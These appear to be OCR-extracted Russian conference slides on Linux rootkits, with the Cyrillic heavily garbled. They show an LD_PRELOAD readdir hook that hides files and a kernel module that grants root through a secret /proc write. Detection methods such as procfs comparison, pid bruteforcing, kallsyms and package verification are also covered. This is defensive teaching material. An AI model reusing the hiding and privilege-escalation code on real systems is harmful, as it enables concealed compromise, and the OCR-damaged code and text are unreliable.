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Kak 3To paboTtaeTt: user-space

$ touch first file
$ touch second file
$ touch hidden file
$ Is

first file second file
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Kak 3To paboTtaeTt: user-space

$ LD DEBUG=symbols Is 2>&1 | grep readdir

symbol=orig readdir;
symbol=orig readdir;

symbol=readdir;
symbol=readdir;
symbol=readdir;
symbol=readdir;
symbol=readdir;

lookup
lookup
lookup
lookup
lookup

in
in
in
in

in

lookup in file=ls
lookup in file=/lib64/hide.so

file=ls
file=/lib64/hide.so
file=/lib64 /libc .so.6
file=/lib64 /libc.so.6
file=/lib64/libc.so.6
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Kak 3To paboTtaeTt: user-space

$ Is /lib64/ | grep hide.so

$ # file doesn’'t exist

$ test —f /lib64/hide.so && echo "exist"
exist

$ env | grep hide.so

LD PRELOAD=/lib64 /hide .so
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Kak 3To paboTtaeTt: user-space

struct dirent *(*xorig_readdir)(DIR *);

struct dirent *readdir (DIR *dirp)

{

struct dirent x*ret;
void *1libc = dlopen(LIBC_PATH, RTLD_LAZY);

orig_readdir = dlsym(libc, "readdir");

while (ret = orig_readdir(dirp))
if (strcmp(ret->d_name, HIDDEN_FILENAME))

break;

return ret;
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Kak 310 paboTtaet: kernel-space

$ git clone github.com/NovicelLive/research—rootkit
$ cd research—rootkit/2—fundamentals/root

$ make

# insmod rootko . ko

$ dmesg

[...] rootko.init module: Greetings the World!
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Kak 310 paboTtaet: kernel-space

# ./r00tme.sh
uid=1000 gid=1000
/proc/kcore: regular file, no read permission

uid=0 gid=0

/proc/kcore: ELF 64—bit LSB core file x86 —64...
$ dmesg

[...] rootko.write h: Comrade, | will help you.

[...] rootko.write h: See you!
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Kak 310 paboTtaet: kernel-space

struct file_operations proc_fops = {
.write = write_handler

}s

int init_module (void)

{
fm_alert ("%s\n", "Greetings, the_ World!");
entry = proc_create(NAME, S_IRUGO | S_IWUGO,
SECRET_FILE, &proc_fops);
return O;
}
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Kak 310 paboTtaet: kernel-space

ssize_t
write_handler (struct file * filp, char *buff,

size_t count, loff_t *offp)

{
if (!strncmp (SOME_SECRET, kbuff, count)) {
fm_alert("%s\n", "Comrade, I, will help,you.")
cred = (struct cred *)__task_cred(current);
cred->uid = cred->euid = cred->fsuid = 0;
cred->gid = cred->egid = cred->fsgid = 0;
fm_alert ("%s\n", "Seeyyou!");
}
}

19



Kak 310 paboTtaet: kernel-space

$ cat r00tme.sh

printf '%s’' SOME SECRET > /proc/SECRET FILE
id
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Pa3BepTbiBaHne B Hej0BepeHHOW cucteme

e scp && ssh
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Pa3BepTbiBaHne B Hej0BepeHHOW cucteme

e scp && ssh
e gcc -static
e ELF crypter/protector

e crackme?!?
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user-space [0]: noaxoab!
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user-space [0]: noaxoab!

e ObHapy>keHVe SIBHO HE CKPbITbIX CyLHOCTENA
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user-space [1]: Bce TO, 4TO He CKpbITO

e .config/gtk-2.0/settings.ini
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user-space [2]: nouck npoTuBopeunii

[ CpaBHeHme coaep>XnmMoro procfs C BbIBOAOM KOMaHAbl pPS auX

$ ps —e | grep '* 63’

6304 7 00:00:00 acpid
6328 7 00:00:00 battery—watcher
6374 7 00:00:00 crond

$ Is /proc | grep 763’

6304

6328

6346

6374
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user-space [2]: nouck npoTuBopeunii

e CpaBHeHne comepxumoro procfs ¢ BEIBOAOM KOMaHAbl Ps aux
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user-space [2]: nouck npoTuBopeunii

e CpaBHeHne comepxumoro procfs ¢ BEIBOAOM KOMaHAbl Ps aux

e Pasmep dalinosoii cuctembl u calinos

# du —hcs /tmp

6,7M /tmp

6,7M

# df —h | grep /tmp

tmpfs 12G 8,3M 12G 1% /tmp
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user-space [3]: npoBepka uenocTHocTu

e AIDE

[} Cpeﬂ'CTBa, NpeaoCTaBNAEMbl€ MAKETHBIMN
MeHeIpKepamu
e dpkg —verify
e debsums
e rpm -V
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kernel-space [2]: nonck npoTuBopeunii

e [lepebop BCcex BO3MOXHbIX naeHTudmkaTopos npouecca (pid

bruteforce)

$ Is /proc | grep '"63’
6304
6328
6374
$ stat /proc/6305
stat: cannot stat '/proc/6305: No such file
$ stat /proc/6306
stat: cannot stat '/proc/6306: No such file
$ stat /proc/6307
File: "/proc/6307'
Size: 0 Blocks: 0 10 Block: 1024 directory
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kernel-space [2]: nonck npoTuBopeunii

$ Ismod

Module Size Used by

vboxpci 14318 0

vboxnetadp 18566 0

$ cat /proc/kallsyms |grep vboxpci

a0072f00 t DevRegisterlrgHandler [vboxpci]
a0073040 t DevUnregisterlrqHandler [vboxpci]
a0072e20 t DevUnmapRegion [vboxpci]
a0073fe0 t SUPROIdcClose [vboxpci]
$ cat /proc/kallsyms |grep ".x\[.*\]$' | cut

x86 pkg temp thermal
vboxpci
vboxnetadp
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kernel-space [3]: BcTpauBaHve B nnaHUpoOBLLNK NPOLECCOB

existing task calls
fork() and creates
a new process

TASK_ZOMBIE
(task is terminated)

scheduler dispatches task to run:
schedule( ) calls context_switch( )

task forks task exits via do_exit()

TASK_RUNNING
TASK_RUNNING

(running)

(ready but
not running)

task is preempted
by higher priority task

TASK_INTERRUPTIBLE
event occurs and task is woken up

and placed back on the run queue

or task sleeps on wait queue
TASK_UNINTERRUPTIBLE for a specific event

(waiting)
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kernel-space [3]: BcTpauBaHve B nnaHUpoOBLLNK NPOLECCOB

int hook_try_to_wake_up(struct task_struct *p,
unsigned int state,

int wake_flags)

{
printk ("p->pid: %d,up->comm:%s\n"
p->pid, p->comm);
return origin_try_to_wake_up(p, state,
wake_flags);
b
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kernel-space [3]: BcTpauBaHve B nnaHUpoOBLLNK NPOLECCOB

dmesg:

[94.568] p—>pid: 1749, p—>comm: rsyslogd
[94.569] p—>pid: 1747, p—>comm: rs:main Q:Reg
[94.572] p—>pid: 1749, p—>comm: rsyslogd
[94.573] p—>pid: 1747, p—>comm: rs:main Q:Reg
[94.576] p—>pid: 1749, p—>comm: rsyslogd
[94.577] p—>pid: 1747, p—>comm: rs:main Q:Reg
[94.580] p—>pid: 1749, p—>comm: rsyslogd
[94.581] p—>pid: 1935, p—>comm: hiddenprocess
[94.605] p—>pid: 1747, p—>comm: rs:main Q:Reg
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kernel-space: nogxoabl
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Bonpocsl?
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Cnacubo 3a BHuUMaHue!
KnemeHTbeB Muxann

m.klementyev@dsec.ru

© ®
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e https://outflux.net

e http://securityaffairs.co
e http://derekmolloy.ie
e https://github.com/NoviceLive/research-rootkit
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